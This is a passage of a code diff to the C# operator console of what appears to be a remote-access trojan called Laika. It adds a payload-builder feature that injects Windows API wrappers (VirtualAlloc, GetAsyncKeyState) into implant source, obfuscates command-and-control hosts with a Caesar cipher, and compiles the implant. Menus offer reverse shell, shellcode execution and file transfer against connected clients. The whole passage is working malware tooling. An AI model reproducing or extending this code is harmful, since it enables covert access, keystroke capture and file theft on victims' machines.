+            this.Selected_apis = new System.Windows.Forms.ListBox();
+            this.searchBox = new System.Windows.Forms.TextBox();
+            this.searchResultsListBox = new System.Windows.Forms.ListBox();
+            this.label13 = new System.Windows.Forms.Label();
+            this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components);
+            this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
             this.contextMenuStrip1.SuspendLayout();
             ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
             ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
             ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
+            this.contextMenuStrip2.SuspendLayout();
             this.SuspendLayout();
             // 
             // Hosts
@@ -241,7 +251,7 @@
             // button2
             // 
             this.button2.Enabled = false;
-            this.button2.Location = new System.Drawing.Point(81, 415);
+            this.button2.Location = new System.Drawing.Point(257, 415);
             this.button2.Name = "button2";
             this.button2.Size = new System.Drawing.Size(213, 38);
             this.button2.TabIndex = 18;
@@ -293,11 +303,94 @@
             this.label9.Size = new System.Drawing.Size(325, 2);
             this.label9.TabIndex = 23;
             // 
+            // label10
+            // 
+            this.label10.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
+            this.label10.Location = new System.Drawing.Point(363, 15);
+            this.label10.Name = "label10";
+            this.label10.Size = new System.Drawing.Size(2, 394);
+            this.label10.TabIndex = 24;
+            // 
+            // label11
+            // 
+            this.label11.AutoSize = true;
+            this.label11.Location = new System.Drawing.Point(371, 9);
+            this.label11.Name = "label11";
+            this.label11.Size = new System.Drawing.Size(64, 13);
+            this.label11.TabIndex = 25;
+            this.label11.Text = "pasm config";
+            // 
+            // label12
+            // 
+            this.label12.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
+            this.label12.Location = new System.Drawing.Point(437, 15);
+            this.label12.Name = "label12";
+            this.label12.Size = new System.Drawing.Size(254, 2);
+            this.label12.TabIndex = 26;
+            // 
+            // Selected_apis
+            // 
+            this.Selected_apis.FormattingEnabled = true;
+            this.Selected_apis.Location = new System.Drawing.Point(374, 41);
+            this.Selected_apis.Name = "Selected_apis";
+            this.Selected_apis.Size = new System.Drawing.Size(173, 368);
+            this.Selected_apis.TabIndex = 27;
+            this.Selected_apis.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Selected_apis_MouseDown);
+            // 
+            // searchBox
+            // 
+            this.searchBox.Location = new System.Drawing.Point(553, 28);
+            this.searchBox.Name = "searchBox";
+            this.searchBox.Size = new System.Drawing.Size(138, 20);
+            this.searchBox.TabIndex = 28;
+            this.searchBox.Text = "Search for an API";
+            this.searchBox.TextChanged += new System.EventHandler(this.SearchBox_TextChanged);
+            // 
+            // searchResultsListBox
+            // 
+            this.searchResultsListBox.FormattingEnabled = true;
+            this.searchResultsListBox.Location = new System.Drawing.Point(553, 54);
+            this.searchResultsListBox.Name = "searchResultsListBox";
+            this.searchResultsListBox.Size = new System.Drawing.Size(138, 355);
+            this.searchResultsListBox.TabIndex = 29;
+            this.searchResultsListBox.SelectedIndexChanged += new System.EventHandler(this.SearchResultsListBox_SelectedIndexChanged);
+            // 
+            // label13
+            // 
+            this.label13.AutoSize = true;
+            this.label13.Location = new System.Drawing.Point(371, 26);
+            this.label13.Name = "label13";
+            this.label13.Size = new System.Drawing.Size(127, 13);
+            this.label13.TabIndex = 30;
+            this.label13.Text = "Selected Windows APIs :";
+            // 
+            // contextMenuStrip2
+            // 
+            this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
+            this.toolStripMenuItem1});
+            this.contextMenuStrip2.Name = "contextMenuStrip1";
+            this.contextMenuStrip2.Size = new System.Drawing.Size(108, 26);
+            // 
+            // toolStripMenuItem1
+            // 
+            this.toolStripMenuItem1.Image = global::Server.Properties.Resources.delete;
+            this.toolStripMenuItem1.Name = "toolStripMenuItem1";
+            this.toolStripMenuItem1.Size = new System.Drawing.Size(107, 22);
+            this.toolStripMenuItem1.Text = "Delete";
+            this.toolStripMenuItem1.Click += new System.EventHandler(this.toolStripMenuItem1_Click);
+            // 
             // BuildMenu
             // 
             this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
             this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
-            this.ClientSize = new System.Drawing.Size(355, 465);
+            this.ClientSize = new System.Drawing.Size(703, 465);
+            this.Controls.Add(this.label13);
+            this.Controls.Add(this.searchResultsListBox);
+            this.Controls.Add(this.searchBox);
+            this.Controls.Add(this.Selected_apis);
+            this.Controls.Add(this.label12);
+            this.Controls.Add(this.label11);
+            this.Controls.Add(this.label10);
             this.Controls.Add(this.label9);
             this.Controls.Add(this.pictureBox1);
             this.Controls.Add(this.button3);
@@ -320,7 +413,8 @@
             this.Controls.Add(this.label1);
             this.Controls.Add(this.textBox1);
             this.Controls.Add(this.Hosts);
-            this.MinimumSize = new System.Drawing.Size(371, 430);
+            this.MaximumSize = new System.Drawing.Size(719, 504);
+            this.MinimumSize = new System.Drawing.Size(719, 504);
             this.Name = "BuildMenu";
             this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
             this.Text = "Build a payload";
@@ -329,6 +423,7 @@
             ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
             ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
             ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
+            this.contextMenuStrip2.ResumeLayout(false);
             this.ResumeLayout(false);
             this.PerformLayout();
 
@@ -360,5 +455,14 @@
         private System.Windows.Forms.Button button3;
         private System.Windows.Forms.PictureBox pictureBox1;
         private System.Windows.Forms.Label label9;
+        private System.Windows.Forms.Label label10;
+        private System.Windows.Forms.Label label11;
+        private System.Windows.Forms.Label label12;
+        private System.Windows.Forms.ListBox Selected_apis;
+        private System.Windows.Forms.TextBox searchBox;
+        private System.Windows.Forms.ListBox searchResultsListBox;
+        private System.Windows.Forms.Label label13;
+        private System.Windows.Forms.ContextMenuStrip contextMenuStrip2;
+        private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1;
     }
 }

Server/BuildMenu.cs

@@ -8,14 +8,97 @@ using System.Linq;
 using System.Text;
 using System.Threading.Tasks;
 using System.Windows.Forms;
+using System.Text.Json;
 
 namespace Server
 { 
     public partial class BuildMenu : Form
     {
+        private List<ApiInfo> apis;
+
         public BuildMenu()
         {
             InitializeComponent();
+            LoadApis();
+            SetPlaceholder();
+            searchBox.GotFocus += searchBox_GotFocus;
+            searchBox.LostFocus += searchBox_LostFocus;
+        }
+
+        private void SetPlaceholder()
+        {
+            searchBox.Text = "Search for an API";
+            searchBox.ForeColor = Color.Gray;
+        }
+
+        private void searchBox_GotFocus(object sender, EventArgs e)
+        {
+            if (searchBox.Text == "Search for an API")
+            {
+                searchBox.Text = "";
+                searchBox.ForeColor = Color.Black;
+            }
+        }
+
+        private void searchBox_LostFocus(object sender, EventArgs e)
+        {
+            if (string.IsNullOrWhiteSpace(searchBox.Text))
+            {
+                SetPlaceholder();
+            }
+        }
+
+        private void LoadApis()
+        {
+            string filePath = "../data/win_apis.json";
+            if (File.Exists(filePath))
+            {
+                string jsonContent = File.ReadAllText(filePath);
+                apis = JsonSerializer.Deserialize<List<ApiInfo>>(jsonContent);
+
+                int maxItems = apis.Count;
+                for (int i = 0; i < maxItems; i++)
+                {
+                    searchResultsListBox.Items.Add(apis[i].function_name);
+                }
+
+                Selected_apis.Items.Add("VirtualAlloc");
+                Selected_apis.Items.Add("VirtualFree");
+                Selected_apis.Items.Add("GetAsyncKeyState");
+            }
+            else
+            {
+                MessageBox.Show("API file not found!");
+            }
+        }
+
+        private void SearchBox_TextChanged(object sender, EventArgs e)
+        {
+            string searchText = searchBox.Text.ToLower();
+            if (searchText == "search for an api" || searchText == "")
+                return;
+
+            searchResultsListBox.Items.Clear();
+
+            var filteredApis = apis.Where(api => api.function_name.ToLower().Contains(searchText)).ToList();
+
+            foreach (var api in filteredApis)
+            {
+                searchResultsListBox.Items.Add(api.function_name);
+            }
+        }
+
+        private void SearchResultsListBox_SelectedIndexChanged(object sender, EventArgs e)
+        {
+            if (searchResultsListBox.SelectedItem != null)
+            {
+                string selectedFunctionName = searchResultsListBox.SelectedItem.ToString();
+
+                if (!Selected_apis.Items.Contains(selectedFunctionName))
+                {
+                    Selected_apis.Items.Add(selectedFunctionName);
+                }
+            }
         }
 
         private void BuildMenu_Load(object sender, EventArgs e)
@@ -53,28 +136,144 @@ namespace Server
                 button2.Enabled = false;
         }
 
+        private void AppendApisToAPIC()
+        {
+            string filePath = "../pasm/src/api.c";
+            string marker = "// generated APIs here";
+
+            string fileContent = File.ReadAllText(filePath);
+
+            int markerPosition = fileContent.IndexOf(marker);
+            if (markerPosition == -1)
+            {
+                MessageBox.Show($"Marker '{marker}' not found in the file.");
+                return;
+            }
+
+            string newContent = fileContent.Substring(0, markerPosition + marker.Length) + "\n";
+            using (StreamWriter sw = new StreamWriter(filePath, false)) // Overwrite the file
+            {
+                sw.Write(newContent);
+
+                foreach (var selectedItem in Selected_apis.Items)
+                {
+                    string functionName = selectedItem.ToString();
+                    var api = apis.FirstOrDefault(a => a.function_name == functionName);
+                    if (api == null) continue;
+
+                    bool returnsVoid = api.full_prototype.StartsWith("void");
+
+                    StringBuilder functionBody = new StringBuilder();
+                    StringBuilder functionCallArgs = new StringBuilder();
+                    StringBuilder typedefArgs = new StringBuilder();
+
+                    for(int j = 0; j < api.arguments.Count; j++)
+                    {
+                        string argType = api.arguments[j];
+
+                        typedefArgs.Append(argType);
+
+                        if ((j + 1) < api.arguments.Count)
+                        {
+                            typedefArgs.Append(", ");
+                        }
+                    }
+
+                    for (int i = 0; i < api.arguments.Count; i++)
+                    {
+                        string argName = $"arg{i}";
+                        string argType = api.arguments[i];
+
+                        functionBody.AppendLine($"    long long {argName} = state->STACK[state->STACK_IDX--];");
+
+                        if (functionCallArgs.Length > 0)
+                        {
+                            functionCallArgs.Append(", ");
+                        }
+
+                        functionCallArgs.Append($"({argType}){argName}");
+                    }
+
+                    string functionCall = returnsVoid
+                        ? $"{functionName}({functionCallArgs.ToString()});"
+                        : $"state->registers->eax = (long long)p{functionName}({functionCallArgs.ToString()});";
+
+                    string functionCode = $@"
+#ifdef _WIN32
+    typedef {api.full_prototype.Split(' ')[0]}(WINAPI *f{api.function_name})({typedefArgs.ToString()});
+#endif
+void api_{functionName}(void) {{
+#ifdef _WIN32
+    f{api.function_name} p{api.function_name} = GetApi(L""{api.dll_name}"", ""{api.function_name}"");
+{functionBody.ToString()}    {functionCall}
+#else
+    state->STACK_IDX -= {api.arguments.Count};
+    {(returnsVoid ? string.Empty : "state->registers->eax = 1;")}
+#endif
+}}
+";
+                    sw.WriteLine(functionCode);
+                }
+            }
+        }
+
+        private void UpdateApiHeaderFile()
+        {
+            string filePath = "../pasm/src/api.h";
+            string markerStart = "// generated APIs here";
+            string markerEnd = "//end";
+
+            string fileContent = File.ReadAllText(filePath);
+
+            int startMarkerPosition = fileContent.IndexOf(markerStart);
+            int endMarkerPosition = fileContent.IndexOf(markerEnd, startMarkerPosition);
+
+            if (startMarkerPosition == -1 || endMarkerPosition == -1)
+            {
+                MessageBox.Show($"Markers '{markerStart}' or '{markerEnd}' not found in the file.");
+                return;
+            }
+
+            string contentBeforeMarkers = fileContent.Substring(0, startMarkerPosition + markerStart.Length) + "\n";
+            string contentAfterMarkers = fileContent.Substring(endMarkerPosition);
+
+            StringBuilder prototypes = new StringBuilder();
+            StringBuilder apiMapEntries = new StringBuilder();
+
+            foreach (var selectedItem in Selected_apis.Items)
+            {
+                string functionName = selectedItem.ToString();
+                prototypes.AppendLine($"void api_{functionName}();");
+
+                apiMapEntries.AppendLine($"    {{.command = \"{functionName}\", .fptr = api_{functionName}}},");
+            }
+
+            string newContent = contentBeforeMarkers + prototypes.ToString() + "\n" + contentAfterMarkers;
+
+            int apiMapStartMarkerPosition = newContent.IndexOf(markerStart, startMarkerPosition + markerStart.Length);
+            int apiMapEndMarkerPosition = newContent.IndexOf(markerEnd, apiMapStartMarkerPosition);
+
+            string newApiMapContent = newContent.Substring(0, apiMapStartMarkerPosition + markerStart.Length) + "\n" +
+                                      apiMapEntries.ToString() + "\n" +
+                                      newContent.Substring(apiMapEndMarkerPosition);
+
+            File.WriteAllText(filePath, newApiMapContent);
+
+        }
+
         private void button2_Click(object sender, EventArgs e)
         {
             string output = "";
-            button2.Text = "Building...";
+
+            button2.Text = "Writing APIs to pasm...";
             button2.Update();
 
-            string filePath = @"..\Laika\config.h";
+            AppendApisToAPIC();
-            string newContent = @"#define FALLBACK_SERVERS " + Hosts.Items.Count;
+            UpdateApiHeaderFile();
-            newContent += "\n\nchar* fallback_servers[FALLBACK_SERVERS] = {\n";
+
-            for (int i = 0; Hosts.Items.Count > i; i++)
+            button2.Text = "Building pasm...";
-            {
+            button2.Update();
-                newContent += "\t\"" + Utils.CAESAR(Hosts.Items[i].ToString()) + "\",\n";
-            }
-            newContent += "};\n\n";
-            newContent += "int fallback_servers_ip[FALLBACK_SERVERS] = {\n";
-            for (int j = 0; Hosts.Items.Count > j; j++)
-            {
-                newContent += "\t4444,\n";
-            }
-            newContent += "};";
 
-            File.WriteAllText(filePath, newContent);
             System.Diagnostics.Process process = new System.Diagnostics.Process();
             System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
             startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
@@ -91,6 +290,45 @@ namespace Server
             vs_path = vs_path.Replace("\r\n", "");
             string cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe";
 
+            startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../pasm/msvc/pasm.vcxproj /p:Configuration=Release;Platform=x86 /p:LaikaBuild=true";
+            startInfo.RedirectStandardError = true;
+            process.StartInfo = startInfo;
+            process.Start();
+            output += process.StandardOutput.ReadToEnd();
+            output += process.StandardError.ReadToEnd();
+
+            process.WaitForExit();
+
+            button2.Text = "Building Laika...";
+            button2.Update();
+
+            /*
+            startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86";
+            startInfo.RedirectStandardError = true;
+            process.StartInfo = startInfo;
+            process.Start();
+            output += process.StandardOutput.ReadToEnd();
+            output += process.StandardError.ReadToEnd();
+
+            process.WaitForExit();
+            */
+
+            string filePath = @"..\Laika\config.h";
+            string newContent = @"#define FALLBACK_SERVERS " + Hosts.Items.Count;
+            newContent += "\n\nchar* fallback_servers[FALLBACK_SERVERS] = {\n";
+            for (int i = 0; Hosts.Items.Count > i; i++)
+            {
+                newContent += "\t\"" + Utils.CAESAR(Hosts.Items[i].ToString()) + "\",\n";
+            }
+            newContent += "};\n\n";
+            newContent += "int fallback_servers_ip[FALLBACK_SERVERS] = {\n";
+            for (int j = 0; Hosts.Items.Count > j; j++)
+            {
+                newContent += "\t4444,\n";
+            }
+            newContent += "};"; 
+            File.WriteAllText(filePath, newContent);
+
             startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86";
             startInfo.RedirectStandardError = true;
             process.StartInfo = startInfo;
@@ -175,5 +413,33 @@ namespace Server
             label6.Enabled = checkBox4.Checked;
             numericUpDown2.Enabled = checkBox4.Checked;
         }
+
+        private void toolStripMenuItem1_Click(object sender, EventArgs e)
+        {
+            Selected_apis.Items.RemoveAt(Selected_apis.SelectedIndex);
+            if (Selected_apis.Items.Count == 0)
+                button2.Enabled = false;
+        }
+
+        private void Selected_apis_MouseDown(object sender, MouseEventArgs e)
+        {
+            if (e.Button == MouseButtons.Right)
+            {
+                int index = Selected_apis.IndexFromPoint(e.Location);
+                if (index < 0)
+                    return;
+
+                Selected_apis.SelectedIndex = index;
+                contextMenuStrip2.Show(Cursor.Position);
+            }
+        }
+    }
+
+    public class ApiInfo
+    {
+        public string function_name { get; set; }
+        public List<string> arguments { get; set; }
+        public string dll_name { get; set; }
+        public string full_prototype { get; set; }
     }
 }

Server/BuildMenu.resx

@@ -120,4 +120,7 @@
   <metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
     <value>17, 17</value>
   </metadata>
+  <metadata name="contextMenuStrip2.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
+    <value>172, 17</value>
+  </metadata>
 </root>

Server/FileExplorer.cs

@@ -23,7 +23,7 @@ namespace Server
         }
 
         public static int ITEM_ID = 0;
-        public static int CLIENT_ID = 0;
+        public static int CLIENT_ID = -1;
         public static string PATH = "";
         public static bool OPENED = false;
 
@@ -83,8 +83,6 @@ namespace Server
                         dataGridView2.Rows[idx].Tag += "/f";
                     }
                 }
-
-                c.Client.Blocking = false;
             } catch
             {
                 CLIENT_ID = -1;
@@ -114,7 +112,6 @@ namespace Server
                 int bytesRead;
                 bytesRead = stream.Read(buffer, 0, buffer.Length);
                 receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
-                c.Client.Blocking = false;
             } catch
             {
                 CLIENT_ID = -1;
@@ -194,8 +191,6 @@ namespace Server
                 stream.Write(Message, 0, Message.Length);
                 Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file));
                 stream.Write(Message, 0, Message.Length);
-
-                c.Client.Blocking = false;
             }
             catch
             {
@@ -259,6 +254,7 @@ namespace Server
 
         private void FileExplorer_FormClosing(object sender, FormClosingEventArgs e)
         {
+            CLIENT_ID = -1;
             OPENED = false;
         }
 
@@ -288,8 +284,6 @@ namespace Server
                 stream.Write(Message, 0, Message.Length);
                 Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file));
                 stream.Write(Message, 0, Message.Length);
-
-                c.Client.Blocking = false;
             }
             catch
             {
@@ -328,8 +322,6 @@ namespace Server
                 stream.Write(Message, 0, Message.Length);
                 byte[] fileContent = File.ReadAllBytes(filePath);
                 stream.Write(fileContent, 0, fileContent.Length);
-
-                c.Client.Blocking = false;
             }
             catch
             {
@@ -455,8 +447,6 @@ namespace Server
                 {
                     DownloadFile(PATH + file, stream, c);
                 }
-
-                c.Client.Blocking = false;
             }
             catch
             {

Server/Menu.Designer.cs

@@ -29,9 +29,9 @@
         private void InitializeComponent()
 		{
             this.components = new System.ComponentModel.Container();
-            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle();
+            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle();
-            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
+            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle();
-            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
+            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle();
             this.menuStrip1 = new System.Windows.Forms.MenuStrip();
             this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
             this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@@ -41,9 +41,13 @@
             this.Id = new System.Windows.Forms.DataGridViewTextBoxColumn();
             this.IPAddress = new System.Windows.Forms.DataGridViewTextBoxColumn();
             this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
+            this.label1 = new System.Windows.Forms.Label();
+            this.pasmToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+            this.editorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
             this.shellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
             this.fileExplorerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
             this.shellcodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+            this.executePasmScriptToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
             this.menuStrip1.SuspendLayout();
             ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit();
             this.contextMenuStrip1.SuspendLayout();
@@ -54,7 +58,8 @@
             this.menuStrip1.BackColor = System.Drawing.SystemColors.Menu;
             this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
             this.toolStripMenuItem1,
-            this.payloadToolStripMenuItem});
+            this.payloadToolStripMenuItem,
+            this.pasmToolStripMenuItem});
             this.menuStrip1.Location = new System.Drawing.Point(0, 0);
             this.menuStrip1.Name = "menuStrip1";
             this.menuStrip1.Size = new System.Drawing.Size(591, 24);
@@ -102,27 +107,27 @@
             | System.Windows.Forms.AnchorStyles.Right)));
             this.dataGridView1.BackgroundColor = System.Drawing.SystemColors.HighlightText;
             this.dataGridView1.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single;
-            dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
+            dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
-            dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control;
+            dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control;
-            dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+            dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
-            dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText;
+            dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText;
-            dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Control;
+            dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Control;
-            dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.Control;
+            dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.Control;
-            dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
+            dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
-            this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1;
+            this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7;
             this.dataGridView1.ColumnHeadersHeight = 30;
             this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing;
             this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
             this.Id,
             this.IPAddress});
-            dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
+            dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
-            dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window;
+            dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Window;
-            dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+            dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
-            dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.ControlText;
+            dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.ControlText;
-            dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight;
+            dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight;
-            dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
+            dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
-            dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
+            dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
-            this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle2;
+            this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle8;
             this.dataGridView1.EnableHeadersVisualStyles = false;
             this.dataGridView1.GridColor = System.Drawing.SystemColors.ScrollBar;
             this.dataGridView1.Location = new System.Drawing.Point(12, 28);
@@ -132,12 +137,12 @@
             this.dataGridView1.ReadOnly = true;
             this.dataGridView1.RowHeadersVisible = false;
             this.dataGridView1.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing;
-            dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
+            dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
-            this.dataGridView1.RowsDefaultCellStyle = dataGridViewCellStyle3;
+            this.dataGridView1.RowsDefaultCellStyle = dataGridViewCellStyle9;
             this.dataGridView1.RowTemplate.ReadOnly = true;
             this.dataGridView1.RowTemplate.Resizable = System.Windows.Forms.DataGridViewTriState.False;
             this.dataGridView1.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
-            this.dataGridView1.Size = new System.Drawing.Size(567, 302);
+            this.dataGridView1.Size = new System.Drawing.Size(567, 295);
             this.dataGridView1.TabIndex = 1;
             this.dataGridView1.TabStop = false;
             this.dataGridView1.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView1_CellContentClick);
@@ -164,15 +169,40 @@
             this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
             this.shellToolStripMenuItem,
             this.fileExplorerToolStripMenuItem,
-            this.shellcodeToolStripMenuItem});
+            this.shellcodeToolStripMenuItem,
+            this.executePasmScriptToolStripMenuItem});
             this.contextMenuStrip1.Name = "contextMenuStrip1";
-            this.contextMenuStrip1.Size = new System.Drawing.Size(169, 70);
+            this.contextMenuStrip1.Size = new System.Drawing.Size(189, 92);
+            // 
+            // label1
+            // 
+            this.label1.AutoSize = true;
+            this.label1.Location = new System.Drawing.Point(10, 325);
+            this.label1.Name = "label1";
+            this.label1.Size = new System.Drawing.Size(61, 13);
+            this.label1.TabIndex = 2;
+            this.label1.Text = "Listening at";
+            // 
+            // pasmToolStripMenuItem
+            // 
+            this.pasmToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
+            this.editorToolStripMenuItem});
+            this.pasmToolStripMenuItem.Name = "pasmToolStripMenuItem";
+            this.pasmToolStripMenuItem.Size = new System.Drawing.Size(48, 20);
+            this.pasmToolStripMenuItem.Text = "pasm";
+            // 
+            // editorToolStripMenuItem
+            // 
+            this.editorToolStripMenuItem.Name = "editorToolStripMenuItem";
+            this.editorToolStripMenuItem.Size = new System.Drawing.Size(105, 22);
+            this.editorToolStripMenuItem.Text = "Editor";
+            this.editorToolStripMenuItem.Click += new System.EventHandler(this.editorToolStripMenuItem_Click);
             // 
             // shellToolStripMenuItem
             // 
             this.shellToolStripMenuItem.Image = global::Server.Properties.Resources.terminal;
             this.shellToolStripMenuItem.Name = "shellToolStripMenuItem";
-            this.shellToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
+            this.shellToolStripMenuItem.Size = new System.Drawing.Size(188, 22);
             this.shellToolStripMenuItem.Text = "Reverse shell";
             this.shellToolStripMenuItem.Click += new System.EventHandler(this.ReverseShellToolStripMenuItem_Click);
             // 
@@ -180,7 +210,7 @@
             // 
             this.fileExplorerToolStripMenuItem.Image = global::Server.Properties.Resources.folder;
             this.fileExplorerToolStripMenuItem.Name = "fileExplorerToolStripMenuItem";
-            this.fileExplorerToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
+            this.fileExplorerToolStripMenuItem.Size = new System.Drawing.Size(188, 22);
             this.fileExplorerToolStripMenuItem.Text = "File Explorer";
             this.fileExplorerToolStripMenuItem.Click += new System.EventHandler(this.fileExplorerToolStripMenuItem_Click);
             // 
@@ -188,19 +218,30 @@
             // 
             this.shellcodeToolStripMenuItem.Image = global::Server.Properties.Resources.execute;
             this.shellcodeToolStripMenuItem.Name = "shellcodeToolStripMenuItem";
-            this.shellcodeToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
+            this.shellcodeToolStripMenuItem.Size = new System.Drawing.Size(188, 22);
             this.shellcodeToolStripMenuItem.Text = "Execute shellcode";
             this.shellcodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteShellcodeToolStripMenuItem_Click);
             // 
+            // executePasmScriptToolStripMenuItem
+            // 
+            this.executePasmScriptToolStripMenuItem.Image = global::Server.Properties.Resources.scenario;
+            this.executePasmScriptToolStripMenuItem.Name = "executePasmScriptToolStripMenuItem";
+            this.executePasmScriptToolStripMenuItem.Size = new System.Drawing.Size(188, 22);
+            this.executePasmScriptToolStripMenuItem.Text = "Execute a pasm script";
+            this.executePasmScriptToolStripMenuItem.Click += new System.EventHandler(this.executePasmScriptToolStripMenuItem_Click);
+            // 
             // Menu
             // 
             this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
             this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
             this.AutoScroll = true;
             this.ClientSize = new System.Drawing.Size(591, 342);
+            this.Controls.Add(this.label1);
             this.Controls.Add(this.dataGridView1);
             this.Controls.Add(this.menuStrip1);
             this.MainMenuStrip = this.menuStrip1;
